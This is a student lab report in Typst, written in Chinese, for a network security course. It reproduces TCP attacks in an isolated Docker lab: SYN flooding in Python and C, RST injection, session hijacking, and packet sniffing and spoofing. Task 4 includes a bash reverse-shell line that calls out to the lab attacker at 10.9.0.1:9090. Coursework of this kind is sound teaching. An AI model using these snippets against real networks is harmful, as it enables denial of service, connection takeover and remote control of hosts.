#import "labtemplate.typ": *
#show: nudtlabpaper.with(title: "TCP 攻击实验",
  author: "程景愉",
  id: "202302723005",
  training_type: "无军籍",
  grade: "2023",
  major: "网络工程",
  department: "计算机学院",
  advisor: "柳林",
  jobtitle: "教授",
  lab: "307-208",
  date: "2026.05.04",
  header_str: "《网络安全》实验报告",
)
#set page(header: [
    #set par(spacing: 6pt)
    #align(center)[#text(size: 11pt)[《网络安全》实验报告]]
    #v(-0.3em)
    #line(length: 100%, stroke: (thickness: 1pt))
],)

  #show heading: it => box(width: 100%)[
    #v(0.50em)
    #set text(font: hei)
    #counter(heading).display()
    #it.body
  ]

// 代码块样式
#show raw.where(block: true): it => box(
fill: rgb("#f5f5f5"),
inset: (x: 12pt, y: 10pt),
radius: 6pt,
stroke: (thickness: 1pt, paint: rgb("#e0e0e0")),
it
)

#outline(title: "目录",depth: 3, indent: 2em)
#pagebreak()

= 实验目的
#para[
  TCP 协议是互联网的核心协议之一，其三次握手和连接管理机制虽然保证了传输的可靠性，但也引入了一些潜在的安全漏洞。本次实验旨在通过亲身实践，深入理解 TCP 协议的常见攻击方式及其背后的技术原理。具体目标包括：
]
- 理解 TCP SYN 泛洪（SYN Flood）攻击的原理，掌握使用 Scapy 和 C 语言实现该攻击的方法，并验证 SYN Cookies 防御机制的有效性。
- 掌握 TCP 重置（Reset）攻击的技术细节，学习如何通过伪造 RST 包来强制中断已建立的 TCP 连接。
- 实践 TCP 会话劫持（Session Hijacking）技术，理解如何通过监听和预测序列号在现有会话中注入恶意指令。
- 掌握利用会话劫持创建反向 Shell（Reverse Shell）的方法，理解该技术在实际渗透测试中的重要作用。
- 学习使用 libpcap 库和原始套接字（Raw Socket）在 C 语言中实现底层的数据包嗅探与伪造。

= 实验原理
== TCP 三次握手与 SYN 泛洪
#para[
  TCP 建立连接需要三次握手：客户端发送 SYN，服务器回复 SYN+ACK 并分配资源进入半连接（SYN-RECV）状态，最后客户端回复 ACK。SYN 泛洪攻击通过发送大量的 SYN 请求但不完成最后一步，使服务器的半连接队列（Backlog Queue）被占满，从而拒绝合法用户的连接请求。
]

== TCP 重置与会话劫持
#para[
  TCP 协议允许通过发送 RST 标志位的数据包来立即终止异常连接。如果攻击者能够获取或预测当前连接的端口号 and 序列号，就可以伪造一个 RST 包发送给其中一方，导致连接被强制断开。
]
#para[
  会话劫持则更进一步，攻击者不仅要断开连接，而是要在序列号步调一致的情况下注入自己的数据。通过伪造源地址和正确的序列号，接收方会认为这些数据来自合法的对端，从而执行注入的指令。
]

== 反向 Shell
#para[
  反向 Shell 是指被攻击者主动连接攻击者的监听端口，并将自己的 Shell（如 `/bin/bash`）的输入输出重定向到该连接上。这种方式常用于突破防火墙的入站限制。
]

= 实验环境
#para[
  本实验利用 Docker Compose 搭建了一个隔离的虚拟网络环境。该网络包含一台攻击者容器（Attacker）和三台用户/受害者容器。
]
#figure(
  image("images/dockerps.png", width: 100%),
  caption: [使用 docker ps 查看实验环境中的容器运行状态],
)
#align(center)[#table(
  columns: (auto, auto, auto),
  rows:(2em, 2em, 2em),
  inset: 10pt,
  align: horizon+center,
  table.header([*主机角色*], [*IP地址*], [*说明*]),
  "Attacker（攻击者）", "10.9.0.1 (host)", "运行攻击脚本，具有混杂模式权限",
  "Victim (受害者)", "10.9.0.5", "运行 telnet 服务的目标服务器",
  "User1 (合法用户)", "10.9.0.6", "实验中用于建立正常连接的主机",
)]

= 实验步骤及结果

== 任务集 1：SYN 泛洪攻击

=== 任务 1.1：使用 Python 发起攻击
#para[
  使用 Scapy 编写 `synflood.py`。其核心逻辑是在一个无限循环中，利用 `getrandbits(32)` 生成随机的源 IP 地址，并构造 TCP 头部将 `flags` 设置为 `'S'` (SYN)。
]
```python
while True:
    pkt[IP].src = str(IPv4Address(getrandbits(32))) # 随机源 IP
    pkt[TCP].sport = getrandbits(16)               # 随机源端口
    pkt[TCP].seq = getrandbits(32)                 # 随机序列号
    send(pkt, verbose = 0)
```
#figure(
  image("images/task1.1_synflood.png", width: 90%),
  caption: [运行 synflood.py 期间，Victim 上的 netstat 输出展示了大量处于 SYN_RECV 状态的连接],
)

=== 任务 1.2：使用 C 语言发起攻击
#para[
  C 语言实现通过原始套接字直接构造 IP 和 TCP 头部。为了提高效率，我们手动计算了 TCP 校验和（包含伪首部）。
]
```c
// 核心循环：不断构造并发送 SYN 包
while (1) {
  tcp->tcp_sport = rand(); 
  tcp->tcp_flags = TH_SYN; 
  ip->iph_sourceip.s_addr = rand(); 
  tcp->tcp_sum = calculate_tcp_checksum(ip); // 必须计算校验和
  send_raw_ip_packet(ip);
}
```
#figure(
  image("images/task1.2_synflood_c.png", width: 90%),
  caption: [C 语言攻击下，Victim 的半连接队列瞬间被伪造包填满],
)

=== 任务 1.3：启用 SYN Cookie 防御
#para[
  启用防御后，服务器不再在收到 SYN 时立即分配资源，而是将连接信息编码进 `SYN-ACK` 的序列号中。
]
#figure(
  image("images/task1.3_syncookies.png", width: 90%),
  caption: [开启 SYN Cookies 后，合法用户 User1 仍能成功连接 Victim],
)

== 任务 2：TCP 重置攻击
#para[
  `reset_attack.py` 通过嗅探捕获 User1 发往 Victim 的包，提取其确认号（ACK）作为伪造 RST 包的序列号（SEQ），从而使 Victim 认为对端要求重置连接。
]
```python
def spoof_reset(pkt):
    ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
    # 关键：RST 包的 SEQ 必须在接收方的有效窗口内，通常设为对端的 ACK
    tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, 
              flags="R", seq=pkt[TCP].ack)
    send(ip/tcp, verbose=0)
```
#figure(
  image("images/task2_tcp_reset.png", width: 90%),
  caption: [User1 的 telnet 窗口显示连接被成功重置],
)

== 任务 3：TCP 会话劫持
#para[
  会话劫持需要更精确的序列号控制。我们通过嗅探获取当前的 SEQ 和 Payload 长度，计算出下一个合法的 SEQ，并注入指令。
]
```python
def hijack(pkt):
    if pkt[TCP].payload:
        ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
        # 预测下一个 SEQ：当前 SEQ + 载荷长度
        tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A",
                  seq=pkt[TCP].seq + len(pkt[TCP].payload), ack=pkt[TCP].ack)
        payload = "\r touch /tmp/hijack_successful \r"
        send(ip/tcp/payload, verbose=0)
```
#figure(
  grid(
    columns: (1fr, 1fr),
    gutter: 10pt,
    image("images/task3_session_hijack-1.png", width: 100%),
    image("images/task3_session_hijack-2.png", width: 100%),
  ),
  caption: [会话劫持成功：在 Victim 容器中验证了文件的创建],
)

== 任务 4：创建反向 Shell
#para[
  在劫持逻辑中，我们将注入的指令替换为 Bash 反向 Shell 指令。
]
```python
cmd = "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r"
```
#figure(
  grid(
    columns: (1fr, 1fr),
    gutter: 10pt,
    image("images/task4_reverse_shell-1.png", width: 100%),
    image("images/task4_reverse_shell-2.png", width: 100%),
  ),
  caption: [通过会话劫持注入反向 Shell，Attacker 成功获得受害者控制权],
)

== 任务集 2：基于 C 的嗅探与伪造

=== 任务 2.1：基于 libpcap 的嗅探
#para[
  C 语言嗅探器通过 `pcap_loop` 持续处理报文。在回调函数中，我们通过指针偏移来解析 IP 头部。
]
```c
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
  // 跳过以太网头 (14字节) 到达 IP 头
  struct ipheader *ip = (struct ipheader *)(packet + 14); 
  printf("   From: %s\n", inet_ntoa(ip->iph_sourceip));
  printf("     To: %s\n", inet_ntoa(ip->iph_destip));
}
```
#figure(
  image("images/task2.1_c_sniffer.png", width: 90%),
  caption: [C 语言嗅探器成功输出实时抓取的 IP 报文信息],
)

=== 任务 2.3：嗅探与伪造联动 (Sniff-and-Spoof)
#para[
  该任务要求程序在捕获到 ICMP 请求时立即构造一个 Reply。
]
```c
if (icmp->icmp_type == 8) { // 检测到 Echo Request
    new_ip->iph_sourceip = ip->iph_destip; // 交换源目 IP
    new_ip->iph_destip = ip->iph_sourceip;
    new_icmp->icmp_type = 0;               // 设置为 Echo Reply
    new_icmp->icmp_chksum = 0;             // 重新计算校验和
    new_icmp->icmp_chksum = in_cksum(...);
    send_raw_ip_packet(new_ip);
}
```
#figure(
  image("images/task2.3_c_sniff_spoof.png", width: 90%),
  caption: [联动程序成功欺骗 User1，使其认为 1.2.3.4 在线],
)

=== 任务 2.1A：理解嗅探器工作原理

*问题 1：必不可少的库调用序列*
1. `pcap_open_live()`: 打开指定的网络接口进行捕获。
2. `pcap_compile()`: 将字符串形式的过滤表达式编译为 BPF 程序。
3. `pcap_setfilter()`: 将编译好的过滤器安装到捕获句柄。
4. `pcap_loop()`: 进入捕获循环，对每个包调用回调函数。

*问题 2：为何需要 Root 权限？*
嗅探程序需要创建原始套接字并开启网卡的混杂模式，这些操作涉及到对硬件和底层网络栈的直接控制，为了安全起见，操作系统仅允许特权用户（Root）执行。如果非特权用户运行，`pcap_open_live()` 将返回权限错误。

*问题 3：混杂模式（Promiscuous Mode）*
在实验中，将 `pcap_open_live()` 的第三个参数设为 1 开启混杂模式，0 则关闭。开启后，攻击者可以捕获到局域网内任意两台主机（如 User1 和 Victim）之间的通信；关闭后，仅能捕获到发往本机或广播地址的流量。

= 实验总结
#para[
  本次实验通过 Python 和 C 两种维度的实践，让我对 TCP/IP 协议栈的安全缺陷有了透彻的理解。从高层脚本的便捷性到低层 C 语言对每一比特的精准控制，我深刻体会到了网络攻防中"细节决定成败"的道理。特别是在序列号预测和校验和计算方面的实践，为我今后深入学习网络协议安全打下了坚实基础。
]